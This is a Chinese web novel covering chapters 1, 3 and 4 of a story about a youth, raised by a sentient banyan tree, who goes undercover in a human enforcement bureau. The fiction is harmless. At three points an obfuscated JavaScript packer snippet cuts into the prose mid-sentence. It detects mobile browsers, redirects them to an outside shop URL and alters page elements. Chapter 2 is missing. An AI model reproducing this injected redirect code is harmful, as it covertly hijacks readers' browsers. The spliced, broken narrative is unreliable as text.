《世界进化后成为卧底》 1. 榕树酒店(1) 1.0 “我的祖宗!!!前面是执行局新人最终选拔赛的场地,你去是要干什么!!!!” “整个执行局有哪里是我去不得的吗?” 天气正好,刺目的阳光将浮空大楼外铭牌上的字照得闪闪发光。 东流区执行总局。 连接两栋建筑的玻璃连廊上,少年走得飞快,他步子迈得极大,身后满脸脂肪肝相的中年人要小跑才能跟上。 “能啊能啊!小昀你可是高局长特派的执行员,整个东流区执行局没有去不了的地方!” 刘部长笑着奉承,心底的脏话已经飞出了天际。 臭小子! 关系户!! 哪远滚哪去!!! 要不是局长和执行部部长去中流区开会了,只能由他这个未转正的临时后勤副部长来接待,谁会捧着他?! “那你还管我?” 忻昀回头,看他一眼,笑容张狂。 “我爱干什么干什么。” 哐当! 他一脚踹开比赛场地的大门。 玻璃连廊连接的是二层观众席,比赛区在一层,今天局内手头没有紧要任务的工作人员几乎都来观赛了,身着各色工作服的员工填满大半席位,放眼望去一片花花绿绿。 忻昀挑了个能俯瞰全局的位置,撩衣摆坐下,双腿交叠。 刘部长赶走他附近没眼力见的低级员工,自己坐在他身旁。 场下热闹非凡。 整个场地分成两条赛道,赛道布置的障碍完全相同,目的仅仅是为了分开比赛人员,参与最终选拔的一共有五十个人,共用一条赛道容易发生冲突。 此时,两条赛道上各有一人领跑,速度不相上下。 刘部长狗腿地凑过来给忻昀介绍。 “跑在最前面的两个是这次夺冠的大热门,班鸠和子车回,以他们俩的水平,比赛结束后会直接参与队伍分配,很快就要出任务了。” “任务太多?压力大?”忻昀专注地看着赛道上两人的表现,目中流露出欣赏。 “是,东流区最近不太平,变异种暴动频繁,牺牲了不少低阶执行员,这次突然纳新就是想补充人数,高局没说吗?他派你来我们东流区也是为了给新人们做个表率嘛。” “叔叔当然和我说了。” 忻昀勾起唇角,漫不经心地瞥了刘部长一眼。 “我只是没想到,东流区和北流区的任务处理速度差距这么大,还需要管理人员替底下执行员的无能找借口。” 太嚣张了。 顾忌普通人和异能者间的武力值差距,刘部长又是一阵不敢表现的狂怒。 十年前,世界悄悄开始进化。 人类毫无察觉。 五年前,磁暴、地震、台风……各类天灾接踵而至,人类文明遭到严重破坏。 与人口数量极速下降相反,进化速度爆发式加快,变异生物的数量迈上新台阶,随着生存地位颠倒,变异种开始有意识地入侵人类领地。 进化的自然不只有普通生物,还有曾以智慧立于生态圈顶端的人类。 人类中的一小部分人率先激发出自身潜能,拥有了足以和变异生物对抗的特殊能力,身体强度远超一般人。 为了对抗变异种,维护人类的生存环境,也为了接纳已经不算正常人的异能者,多个国家联合,执行局成立。 地壳变动,版图重新划分,H国内部根据新诞生的河流走向重新分割地图成五个大区——东流区、南流区、西流区、北流区和中流区,区域内各设置一个执行局总局和分局若干。 每年的固定时间段,分布于各地的执行局会开放海选赛,经过层层选拔后,优胜的异能者进入总局,淘汰者由分局回收继续磨炼。 只有被纳进总局的异能者才能获得认证和编制,正式加入对抗消灭变异种的队伍。 眼前的人,是个特例。 一级异能者,忻昀。 他是北流区执行局总局长的侄子,高局在世间唯一的亲人,据说天赋异禀,无需考核直接入编,硬塞来东流区总局美曰其名历练的纯关系户。 刘部长脑内的小人正咬着手帕流眼泪。 这死小子关系太硬了,他还没转正呢,伺候不好高局一通电话给他踹了怎么办? 真是一点不敢得罪。 那可是北流区啊……靠近海洋的大区,变异种入侵最频繁的地方。 担子沉、责任大、战力强,近两年还得了个异能者证道之地的名头,管理难度远超另外四个区。 北流区的地位是除了作为国家心脏存在的中流区外最高的,这一点,在H国执行局体系内部,几乎是默认的了。 此时,北流区太子爷正兴致满满地观赛。 他懒得再多分给身边的狗腿一点注意力。 相信有这种趋炎附势毫无作为的上级人员继续扒在管理层,执行局倒台是迟早的事。 毕竟,先例已经摆好。 ……另外四个区还没人知道,北流区已经被变异种蛀空了。 是他亲手给北流区最高决策人高局长的双手拷上手铐,送他进牢里的呢。 嘻嘻。 他的耳廓上,一缕带着花苞伪装成耳饰的绿色小藤爬上来,亲昵地蹭了蹭。 比赛进入最后阶段。 虚假的北流区太子、真正的变异种太子从看台上站了起来,他靠到围栏上,看着最前方的两人离他这边越来越近。 刘部长搓着手凑上来,奉承道:“如果是你上场,肯定比他们还快,不如咱们来猜猜,谁会夺冠?” 他手里还捧着一本参赛人员名单。 忻昀接过来,找到他想了解的人。 左侧赛道领跑人,班鸠,空间系异能。 右侧赛道领跑人,子车回,感官系异能。 决赛内容很简单,给出一条多重障碍跑道,最快到达终点的人获胜。 前二十名纳入东流区执行总局,后三十名送入分局。 长眼睛的人都能看出来,空间系异能者在赛道上拥有绝对的优势,事实上,现在班鸠的进度也的确比子车回快一小截。 班鸠赢定了。 刘部长心想。 这个班鸠来头也不小,能讨好的话对后勤部有大帮助,以后可以多联系…… “我猜,是子车回。” 忻昀合上册子。 “班鸠是不错,不过这个子车回,异能很特别。” 人员名单里不止记录了基本信息,还记录了就职意向。 目前执行局的任务需要执行员按小队形式组队完成,一个队伍内分工明确,固定队长、输出手、视野员和信息员四个位置。 输出手是最短缺的位置,异能者本就少,占人类总数不到万分之一,觉醒攻击型异能的执行员数量更少,仅有异能者总数的七分之一。 执行局内部严重失衡,有些自大的输出手甚至妄言,剩下三个位置全是给输出手配备的工具人。 子车回和班鸠两个功能类异能拥有者,意向偏偏填的都是“输出手”。 有意思。 “他们两个,我都想要,不如比赛结束了直接放进我队伍里来吧,我来担任小队队长。” 太子爷语出惊人,刘部长吓出一身冷汗,他摸着额头干笑:“哈哈哈哈玩笑不好随便开啊我们还是要尊重新人的个人意愿的……” 嘭! 赛道上传来一声巨响。 方才观众席还有人闲聊,这下,所有人的目光都不得不聚集在赛道上。 漂亮的一枪爆头,蝙蝠变异种的身体直接爆开。 一道靓丽身影穿过它炸出的血雾,高跟靴稳踩弹簧垫赛道,空间异能加持下,他连续释放三次瞬移,单手拎枪加速冲向终点。 亮眼的表现引动观众席爆发出一阵激烈的讨论。 班鸠心情好极了,甚至有空回头看了一眼身后。 所有人都被远远甩掉。 包括那个训练期、初赛、分组赛、半决赛都在和他抢排名的家伙。 子车回。 他将是这场比赛无可争议的第一名。 离终点只剩两百米距离,根据前面赛道每个障碍之间的间隔,班鸠猜测还有最后一道考验,他将警惕度拉到最高,浮动的空间凝块围绕在身侧,随时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261216|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备帮助他躲避和反击。 可前方空空荡荡,什么也看不见。 是透明的变异种? 他刚想着,一坨流动的内脏出现在眼前,朝着他的脸直直砸来。 “!” 班鸠挥枪,强大臂力作用下内脏被砸得四分五裂……不对!不是他砸碎的,是光线变了! 变异种根本不是从正前方进攻的,浮空大楼的玻璃墙体折射光线,它真正的位置应该在—— 冰凉黏腻的触感攀上了班鸠的脖子,他脸上厌恶至极的表情一闪而过,直接上手把脖子后的变异种扯下来。 就在他动手的几秒里,脚下速度减慢,一道风从她身边袭过,一二名的位置瞬间倒转。 子车回完美躲避了所有飞扑过来的玻璃蛙,加速冲到了最前方! “胜负已定了。” 看台上,忻昀戏谑地将参赛名单拍在刘部长手里:“还好我们没赌点什么,不然部长级人员的赌注我可不敢收。”说完,他手插在口袋里起身,从侧边走下看台。 刘部长一愣,又是急着追他,嘴上问“去哪儿”,却被赶过来的执行部任务派遣员拦住。 “去接我的新队友。”忻昀头也不回。 “不好了刘部,负责去榕树酒店执行打扫任务的小队出事了,我们没多余的执行员能派……” 两道身影冲过终点线时保持着极近的距离,但比赛就是比赛,再小的差距也能决定胜负。 秒表计时公布,裁判宣布子车回获得胜利,不少海选赛训练时期就和子车回交好的异能者上前来和她道恭喜。 刚结束一场长距离障碍跑的青年气都不带喘,面上端得一派冷静,可见身体素质优越。 她一一回应身边的祝福,不见一点冠军架子。 “恭、喜、呀。” 一人拍着手向她走来,每一步都带着怨气,恨不得把地板给踩穿了。 班鸠梳着双马尾,配上一张萌得叫人心软的脸,叫人忍不住看向他。 本来他才是训练期人缘最好的那个,但此时身上的戾气一点不藏,逼得子车回身边的人自动为他让开一条路。 这人把找茬两个字写脸上了,子车回看到他就烦。 她不耐地抓了一把扎在脑后的揪揪:“有事吗?” “我直说了,我不服。”班鸠也不跟她绕弯子,“一路比上来,综合能力孰强孰弱大家自己心里有数,在室内跑赛道算什么,要比我们就换个项目比。” 子车回看不惯他那副横得不行的样子,冠军都塞不住他的嘴,那她比到他服气为止好了:“你说,那比什么。” “要比就比……” “比点实战,怎么样?” 一道黑影从天而降。 忻昀直接撑着铁杆翻过围栏跳了下来,像猫一样落地无声。 他挡在两人中间:“室内的小打小闹没什么意思,真要比得去外面,执行局的执行员,当然要在执行任务的过程里见真章。” 有人旁观看热闹,见突然插进来个人指手画脚,没好气地反驳:“说得轻巧,任务呢?” 他们都只是刚参加完海选决赛的预备役,信息还未录入执行局系统,没有队伍,正经员工都算不上,怎么出任务? 两位当事人也不明所以。 子车回不避讳地问身边同期:“这人是谁?这么爱说大话。” 班鸠也不盯子车回了,用审视的目光上下打量忻昀。 忻昀一笑。 谁料下一秒,刘部长从上头跑下来,朝他招手:“昀队!诶昀队。” 他跑到忻昀身边,气都没喘匀就赔上笑脸:“昀队,求您个事儿……您看您愿不愿意临时建队出个任务啊?” “哦哦对了,队员、队员要不您现场挑?刚刚比完赛前二十的都能挑。” 刘部长指了指周围一圈。 话摆在这里,窸窸窣窣的议论完全变了调,那些人的不屑变成了探究和好奇。 但忻昀不是很在乎别人的目光,只是依然看着他勉强瞧得上眼的两人。 他对班鸠和子车回又耐心重复了一遍:“怎么样?” “敢吗?” 3. 榕树酒店(3) 3.0 忻昀的表情出现了一丝裂痕。 “火箭筒、吗?” 他看了看手里的刀。 酒店内外的变异种皆是母树耳目。 金色的蜂科小虫飞过闯入者头顶,理所当然的,班鸠扛火箭筒炸大门扬起漫天尘土和子车回有条不紊找人的景象被它尽收眼底。 【是呢,小朋友看上去武器很多,但不是异能的产物,空间系异能吗?天赋不错】 【他进来了,动作很快】 【不过不够快,这是一场比试对吧?另一位小朋友已经找到第一位受困者了】 子车回无愧于她刚拿下的第一名,行动表现简直不像是第一次出任务的新手,她快速辨别出较软的气生根割开,如燕子般轻巧地在树根缝隙中穿梭,凭着捡到的酒店疏散示意图,成功在客房区寻得一位受困的普通人。 班鸠的行事风格不如她那么沉稳有条理,但他自有他的办法。 他从空间里摸了个手榴弹。 震动时不时从远处传来。 母树一直在为忻昀转述他两位临时队友的最新进展,言语间透出满意。 忻昀抿紧嘴唇,不怎么高兴。 他穿过中庭,走楼梯登上露天花园。 他说:“不如我。” 【怎么板起脸了,】母树笑了,【那不看他们两个了,来,和我说说,你这一年在北流区过得怎么样?】 露天花园在榕树酒店的中心。 巨大的平台倚靠在树干边上,被垂下的花幕笼罩。 花朵形状和忻昀耳朵上的花一模一样。 难以想象,一个废弃多年的地方,内里竟然像童话仙境一样,一派生机勃勃。 树荫下的变异种们忙里忙外,只为了迎接忻昀的到来。 灰鹦鹉停在枝干上,不停说“欢迎回来、欢迎回来”,松鼠跳下来替他拉开椅子,忻昀低头对它说了声谢谢,在离树干最近的桌椅边坐下。 攀在母树身上的爬山虎用枝条卷住茶壶,倒满茶杯。 忻昀喝了一口茶,回忆过去一年的经历,缓缓道来。 “北流区是对抗变异种的一线地区,住在H国内的人类都以为北流坚不可破,北流区自己也是这么认为的。” “那里甚至禁止低于二级的异能者加入执行局。” “但是一年前,北流区的变异种发现端倪,从妈妈手里借走了我,我伪装的只是一级异能者,却破格秘密加入执行局,高局长亲自接待,在那里待遇极高。” “原来人类眼中最坚硬的盾,早就已经到强弩之末了。” “而扮演异能‘异种亲和’拥有者的我,恰巧可以成为击碎盾的匕首。” 忻昀用三言两语讲清了他在北流区的经历。 他和变异种联手演了一出戏。 高局长以为在忻昀身上找到了驯化变异种的希望,往局内引入了大量变异种,最终在一个局内防备稍松的夜晚,他和变异种里应外合,清洗了北流执行总局。 相关人员被关押,消息全面封锁。 想来东流区的局长回来,刘部长就会听说高局长这次没参加会议的消息了。 母树默默听着,最后总结:【人类还没意识到,变异种的进化方向已经不再是单纯的外在武力,五年来一味用暴力对抗,那位姓高的局长因为活跃在一线,有所察觉,却以为只是低阶智力,没有及时上报,而是选择私下寻找能驯化异种的异能者,想让我们再次成为人类的能源、饲料和宠物,是这样吗?】 “是的,人类认为真正的智慧永远是他们的专利,才被我们钻了空子。” 忻昀想起前不久的胜利,心情又放晴了,仰起头:“我离开北流区的时候,通讯控制室已经被占领,进化爆发后磁场一直乱到现在,各区间断联是常有的事,相信北流区的消息还能封锁好一阵子。” “妈妈这次喊我回来,是为了乘胜追击拿下东流区吗?” 母树借鹦鹉的眼睛看着忻昀的脸,进化后长出的神经系统上飘过万千思绪。 小昀说得很轻松。 北流区内部固然满是裂痕,但要压垮这个最强大区,没有埋入深处的那枚钉子,仅凭变异种的力量依然是做不到的。 人类怎么都想不到,世界上会有这么特殊的一个孩子存在,机缘巧合下成为了变异种埋在执行局的卧底。 忻昀。 世界刚开始进化那年,母树从混沌中醒来,发现自己拥有了和人类一样的智慧,它无比好奇是什么赐予了它思考的能力,于是在很多小动物和植物身上做了实验。 那个从医院边上捡回来的幼年人类,是它唯一成功的实验品。 忻昀的实验结果远超预期。 他没有像其它变异种那样,躯体发生畸变。 而是直接复生了。 是的,才捡回来的时候,那个孩子是一具尸体。 这些年来,母树把他养在身边,整日和变异种为伴让它的孩子舍去了对人类种群的归属感,在精神上成为一个真正的变异种。 他对自己忠诚,忠诚到了愿意成为变异种反抗人类最利的那把刀的地步。 无论它下令什么,他都会答应的吧? 【我们迟早会推翻人类的,到时候,东流区……哪怕中流区、国际执行局也是囊中之物】母树轻描淡写道。 灰鹦鹉是母树的第二个嗓子,它叫嚷:“推翻人类、推翻人类!” “当然啦!我们的第一步已经成功了。”忻昀在桌子底下晃腿,“母亲的计划我已经知道了,这次离开北流区前,我特地模仿高局长的语气拟了邮件,提前把正式执行员的身份转过来,接下来……” 【接下来,我们也该联手了】 —— 柔韧的枝条圈住腰,将忻昀拎起来,猛地往旁边一摔。 哗啦。 玻璃破碎炸出巨响,忻昀被直直砸进了客房里。 灰鹦鹉:“是不是下手太重了?太重了!” 母树:【……】 小花沾了一身灰,大人们说话它不敢插嘴,紧扒着忻昀的耳朵瑟瑟发抖。 忻昀从一地玻璃碎片中爬起来。 他身上的制服保护了他,没受什么伤。 母树不是随便甩的,这间房间里还有一个青年窝在角落里,显然是这次的任务目标之一,他认出忻昀身上的衣服是执行局的,胸口有只小鸟,声音颤抖:“你是来救我的吗?” 【小昀,我今晚就要动身离开东流区,这次分别不知道又要多久,不知道你在外面见识了多少,有没有意识到不是所有的变异种都愿意服从我的命令,我没法像庇护其他变异种一样庇护你一辈子,其实,哪怕是为了继续向人类学习自保的手段,我也希望你可以暂时留在东流区】 【现在,我要验收你在北流区学习一年的成果了】 话音刚落,树根伸进窗户又是一记横扫。 忻昀就地一滚,堪堪躲过。 青年躲在他身后,吓得抱紧了自己的笔记本电脑。 忻昀咬紧牙。 树根再次袭来,他果断拔枪击断这条较为纤细的气生根,抓住青年的领子撞开门拖他跑出去。 人都送他脸上了,他能不救吗。 青年声如蚊呐:“我还有两台电脑在里面……” 忻昀火了:“什么时候了还玩电脑!” 同一时间,直升机上,刘部长“噌”地起立,双眼瞪着屏幕上由橙转红的数值条。 “刘部!榕树开始活动了!”小陈喊,“我们要不要下令小队撤离……刘部您顶住别晕过去啊!” 酒店外,子车回把抱出来的女生安置在地面上,和其他救出来的人一起。 她刚收回手,地面开始剧烈晃动。 “这么倒霉,地震了?”她想用联络器和后勤通消息,让他们先来接走一部分人。 结果打开一看,联络器信号断了。 靠着异能优势赶齐平了救人进度的班鸠瞬移到她身边,背上昏迷的普通人被他随手一丢。 “不是地震,”他换了把枪,“是榕树动了。” 圆环形的酒店被什么东西由内向外推了一把,整个建筑发出摇摇欲坠的碎裂声,石块松动,树根把它们缠得更紧,似乎是为了借力,那些气生根卖力地朝外生长,几乎要爬到他们安置被救人员的空地上。 情况有变,子车回当即清点人数:“目前我们各救了十七人,还差三人。” “四个正式执行员一个都没出来?那个忻昀行不行啊?”班鸠嘟囔,他在心里计算,“依照我们两个的速度……我觉得我们来得及在榕树彻底复苏前把所有人救出来,你说呢?” 班鸠和子车回对视一眼。 两人身上都添了点不大不小的伤,但精神状态反而比出任务之前还要好。 有些人天生喜欢追求挑战和刺激。 子车回挑眉:“我觉得行。” 两人重新冲入危楼。 酒店二楼,忻昀在从房间里救出青年后,又顺利找到了一名东流区执行员。 他在大楼的震颤中紧握匕首,稳稳割掉束缚执行员的树根。 忻昀在母树面前说班鸠和子车回不如他,并非是纯粹耍性子乱说的话。 北流区严酷的环境会平等历练每一位进入这里的异能者,哪怕他的身份非同一般。 这是一场十年前开始的进化。 同时也是所有生物共同面临的重大天灾。 人类和变异种之间的对抗再激烈,真正的天灾降临时,也会显得微不足道,一名真正优秀的执行员要对抗的不仅是进化的生物,还有随时有可能袭击的暴雨、地震、海啸…… 他深知这点。 活下来的人,素质无疑会得到全方位的提升。 忻昀的经验足够他应付母树给他制造的小难题。 进化后的气生根不再只是吸收空气中水分和气体的工具,母树这些年抽走复刻了不少植物的基因,融合了至少上百种植物的特性。 被束缚的执行员中了毒,单是割断树根也无法恢复行动自由,他得知忻昀是局里派来救援他们的新人执行员后,当即决定告诉他队友的位置,请他去救剩下三位队友。 “我是视野员,单独出来扫视野的。” “队长喊我扫完二层就下楼去找他们汇合,一起行动,没想到半路上榕树活了。” “榕树开始活动前,他们三个应该都留在酒店餐厅里等我。” 忻昀背起他,迅速前往的楼梯。 青年明白回去找电脑无望后,一直紧跟在忻昀身后,默不作声。 楼梯通道如今被棕灰色的枝条塞得满满当当,只需望一眼就知道走不通,即使母树有意放水,有物种天生的体积优势在,不断延伸的树枝和树根也给足了人类压迫感。 趴在忻昀背上的执行员面露难色:“下不去。” 忻昀退后两步,用匕首拒绝那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261218|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些被母树潜意识驱使想要贴过来亲近他的藤蔓,一路后退,直至退到窗边。 他回头朝外看了一眼,看到酒店外刚飞奔出来的一人,眼前一亮。 忻昀深吸了一口气。 “子——车——回——” 又救出一个吓得直哭的小妹妹的子车回疑惑抬头,向声音的源头看去。 没等她反应过来,视线内,一个人被忻昀从二楼的窗口丢下去。 子车回:“?” 执行员:“?!” 中毒的执行员手脚麻痹,完全没有反抗的能力,当他意识到自己被后辈当成沙袋丢走,大脑一片空白。 好在子车回速度够快,一个瞬息,她已经到了能接住人的位置。 噌。 有人闪现到她上方,抢先一步接走了人。 “嘿嘿获胜的肯定是我啦,”班鸠洋洋得意不过一秒,转瞬变了脸,“靠不对,这是执行员!” 执行员听到自己还被嫌弃上了,差点两眼一闭晕过去。 又有一个人被忻昀丢下来,这回,子车回稳稳接住。 抱电脑的青年和抱着青年的子车回大眼瞪小眼。 送走两个人,下一刻,地板塌陷。 忻昀摔到一楼。 树根开始抽身,没有它们的支撑,酒店撑不了多久了,忻昀忍着疼痛站起来,在最后的时间里,冲向餐厅所在的位置。 子车回想回酒店里帮忙,却被一把拉住。 班鸠拽着她的手腕,冷静地说:“你不是很理智吗,难道看不出来不及了?你才一级,虽然觉醒异能后身体得到强化,但如果是榕树酒店这种五层高的建筑坍塌,以你现在的身体素质,还是会被活活压死。” “可是……” 不管子车回说什么,班鸠都没有松手。 三十秒后,灰色的烟尘和石子争先恐后地从裂隙中泄出,一声巨响,酒店轰然倒塌。 “忻昀!——” 子车回脸色惨白。 再庞大的建筑,倒塌化为碎石也是几秒间的事。 石块停止翻滚后,子车回和班鸠立刻开始翻找,试图在缝隙下找到忻昀。 不一会儿,他们没找着自己的临时队长,反而先看见了三名受困的正式执行员。 三人都受了点伤,但明显没有大碍,他们互相搀扶着走出来,先一步获救的视野员冲上去接他们:“队长!你们没事儿真是太好了!” 子车回看见他们紧紧相拥。 明明她和忻昀认识也才认识不到半天,队友都是临时顶着的名头,不知为何,当忻昀生死未卜,她心里竟然升起了悲伤。 努力控制住情绪,子车回想联络后勤请更多人来帮着一起找,没想到刚点开恢复信号的联络器,有什么东西抓住了她的脚腕。 子车回:“!” 她下意识以为是树根或别的什么变异种,一脚踹出去。 不对,脚感不对劲! “救……咳!” 半个身体还埋在石头下的忻昀收回抓她的手,捂住下巴。 很快,班鸠赶来,两人合力把忻昀拖出来。 似乎是感知到了什么,气生根停止蔓延,不再袭击人类。 任务目标达成,总计四十四人全部存活,刘部长已经带着后勤部的人来接他们了,两部直升机在废墟的不远处降落,秉持着伤者和普通人先走、异能者殿后的人道主义原则,后勤先接普通人上机。 那名青年检查了电脑,发现损坏不能用后不再抱着,丢到了地上。 他身体上没什么伤,医护人员却格外注意他,他和医生说了什么,临登机前,回头看了救他的人一眼。 忻昀,班鸠和子车回并肩站在一边,默契地没有说话,静静等候。 这次行动总共用时一个小时三十五分钟,比忻昀预想中快得多,他原本以为这场任务要持续作业到夜晚降临,现在却只是黄昏。 残阳如血,橘红色的光洒在崩塌的人类文明废墟上,在废墟的中心,苏醒的榕树舞动着枝条,它的动作缓慢而扭曲,像是某种祭祀用的舞蹈,透出诡异的美感。 真是教科书级完美的植物变异种。 忻昀抚摸耳朵上的小花。 小花和他嘀咕了两句什么,是,他知道,既然母树做出决定,那便无法回头,为了变异种的未来,他只能全力完成母树的意愿,打磨自己,去当插入人类高层的那把刀。 不就是东流区到中流区? 他会证明给母亲看,他可以的。 调整好情绪,忻昀抬头,最后看了一眼他生活多年的地方,再睁眼,他眼底的留恋不舍已经完全褪去,换上了人类最喜欢的表情。 笑容。 既然来当卧底,那他就要扮演好一个完美的人类、优秀的执行员。 在北流区,因为异能等级过低,他始终没有正式加入一支队伍。 他知道人类的一大优势就是懂得团队合作,想要前往中流区,必须有一支强大的小队,既然来了东流区新起步,这一次,他要把过去没有的,全握在手里。 虽然他认为子车回和班鸠比不上他,但与其他新人比,他们无疑更胜一筹。 忻昀微微偏头,仿佛只是不经意对身边两人随口一提。 “有没有觉得这次任务,我们三个其实干得还不错?” 耳朵上,感知到主人的心情,藤蔓晃着小花。 “要不,我们正式组队吧?” 4. 执行局 距离榕树酒店救援任务结束不到两小时,一支新人组成的临时小队率先完成第一个任务的消息在东流执行局上下不胫而走。 下午在观赛现场的人不少,班鸠和子车回的比赛、忻昀的话都有人听见看见,事情被传得有声有色,特别是当事人站出来点评后。 东流区执行总局执行员内部论坛。 【听说了吗!有个新手小队刚拿下入局资格就出任务了!NEW】 【如题,本人其实还在出任务中,实在是同为信息员的好姐妹发消息过来,忍不住半路八卦一下】 【一楼:出任务就少看联络器给我注意安全啊!】 【二楼:符合我对信息员都八卦的刻板印象】 【三楼:刚入局的新手队?说的不会是下午大比才胜出的那两个吧】 【四楼:两个人怎么出任务啊??】 【五楼:回楼上,并非两人,好像还有个是北流区来的执行员】 【六楼:三个人也不符合规定啊,还是新手,局长和执行部长都不在,谁给他们批的外出许可,有把人命当回事儿吗】 【七楼:北流区来东流区?纯下嫁!】 【八楼:oh那真当回事了,他们就是去救人的,出的救援任务】 【九楼(楼主):哇哇楼上知情?多说点!】 【十楼:咳咳,现在代理执行部的,不就是那位吗】 【十一楼:哦,没转正那位】 【十二楼:哈哈我倒是好奇三个人的队伍缺的是哪个位置,可能是我们队长按固定位置分工太久了,一下少个人,有点想象不出任务该怎么指挥】 【十三楼:用猜?肯定是最没用的信息员咯~】 【十四楼:……我是这个任务被救队伍的视野员,不得不说,人家三个干挺好的,不过他们是分头行动,没有配合,这次任务也不吃配合】 【十五楼:新队伍要什么指挥配合】 【十六楼(楼主):不许在信息员的帖子下面说信息员没用,信息员就是最重要的!我要删了十三楼!】 不管论坛内讨论声如何沸腾,都影响不了刚回执行局的忻昀。 原因很简单。 他在系统里没有队伍归属,还登不进论坛。 “我们连任务都出过了,未来也不是不会找队友,不能破个例先登记吗?” 办公室内,忻昀捏着人员上报名单,和办公桌后的人对视。 人力资源部的陶部长顶着视线压力,努力相劝:“系统是这么规定的,三个人就是登记不了,今天的任务只是个意外,以后说不定再也没这种情况了。凑齐四个人是很重要的!你回去仔细考虑一下,明天找好信息员了再来吧。” 跟着来的刘部长也说:“是啊是啊,小忻你才来就出任务,忙得够多了,是不是累了啊?正式组队的事明天再说,今天先去休息吧。” 说到这里,忻昀知道和这两人多磨嘴皮子也不会有结果,他收下上报单,甩掉还想凑上来废话两句的刘部离开。 任务刚结束那会儿,他问班鸠和子车回要不要正式组队,两人在输出手这个位置的争夺上还有点小矛盾没解决,但并不排斥成为队友。 这对忻昀来说是个天大的好消息。 合心意的队友是他未来在执行局顺利推动潜伏升职计划进展的基础,他着急登记上报队伍,恨不得立刻把两人绑定到身上。 登记队伍很重要。 不登记队伍,即使成为了正式执行员也不能正常出任务,除非作为别的队伍的替补人员随行。 还有联络器。 当今社会手机被联络器取代,执行员专用的联络器内自带软件,员工论坛、小队排行、异能中心……等等,绝大多数针对执行员的功能在局内,都是以某队队员身份为前提才能解锁的。 他在北流区那会儿因为没有队伍,日子过得就很麻烦,经常需要局长出面解围。 现在终于能自己组建队伍,当然是越快把事情办下来越好。 可是最后一个人要上哪去找呢? 按理来说,同一批入局的执行员都是互相组队的,但东流区这次情况特殊,刚刚陶部告知,海选赛剩下晋级的人在榕树酒店任务执行期,组队的组队、给别队填人的填人。 总之,新人里,没人给他选了! 回到单人宿舍,忻昀脱了外套倒在床上,满脑子都是怎么找信息员。 工作了一天的小花枯萎了,藤蔓抖掉枯花,从他耳朵上爬下来,蛄蛹到枕头上,蜷成一团睡觉。 完成转区后的信息登记,后勤部已经将他带来的行李、全套新的工作服、以及联络器等用品提前放在宿舍里。 宿舍和北流区的区别不大,换了个环境忻昀倒也没不适应,他抓起联络器打开,联络器自动扫描识别虹膜,“滴”一声,里面的软件自动同步个人账号信息。 点击投屏,社交软件里一个没见过的群聊消息跳了出来,顶在最上方。 【咕固孤邀请你加入群聊】 【咕固孤:事儿办得怎么样啦?@ZZZ】 【跟活人沟通不来:办不了吧,少人呢】 咕固孤和跟活人沟通不来分别是班鸠和子车回。 【咕固孤:回回我发现你真的对执行局内部好熟悉哦,从训练期开始就比别人熟】 【跟活人沟通不来:。】 【ZZZ:是的,必须再加一个信息员,你们有认识的朋友合适吗?推荐一下】 【跟活人沟通不来:朋友是有,但能当队友的……】 【咕固孤:回回眼光真高呀,你愿意和我当队友我好荣幸哦】 【咕固孤:昀昀你等等,我去问个人】 忻昀在屏幕前等了五分钟。 【咕固孤:可惜呀,他去别的队伍当队长了】 这个结果并不意外。 忻昀叹气。 他是北流区来的,在东流区不认识什么人,要是子车回和班鸠都找不到人,他又能去哪里找呢? 想了想,他求助了陶部。 陶部把人力资源部门对接人员的联络方式给了他,很快,对面发过来一份目前东流总局内所有未组队状态执行员的名单。 他先是把名单发到群里,自己又扫了一遍。 留给他的选择真不多了。 多看也是无用,他没关注班鸠和子车回后续在群里的讨论,爬起来去浴室洗澡,一通收拾后,早早地关灯上床盖被子睡觉。 他不算真正的异能者,只是能通过异能检测而已,身体上的强化和异能者比差了一截。 今天在任务里树根和石块在他脸上留下了不少细小的伤口,还有子车回那一脚,正常异能者两个小时早改好了,但他洗完澡还得给自己贴上创可贴,揉开淤血。 同样,正常异能者需要的睡眠时间很少,他不行。 母亲不许他和同龄人类学坏,早睡早起身体好,忻昀拍了拍小藤,心安理得地陷入被子里躺下了:“晚安……” 然而,今晚这觉,他是注定睡不好的。 凌晨一点,压在枕头底下的联络器突然用最大音量嘟嘟乱叫。 忻昀半梦半醒间点开紧急通知,一看,是执行部内部通知,喊他去开个紧急会议。 有关榕树酒店。 半小时后,他穿戴整齐赶往会议室,在门口看到了换上同款新制服的班鸠子车回。 忻昀冲两人微微点头。 他好好打量了一番新队友。 果然,人靠衣装马靠鞍,班鸠这样的人换上制服都能正经起来。 执行员制服一共六款,分别对应三季节的作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261219|198031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战服和常服。 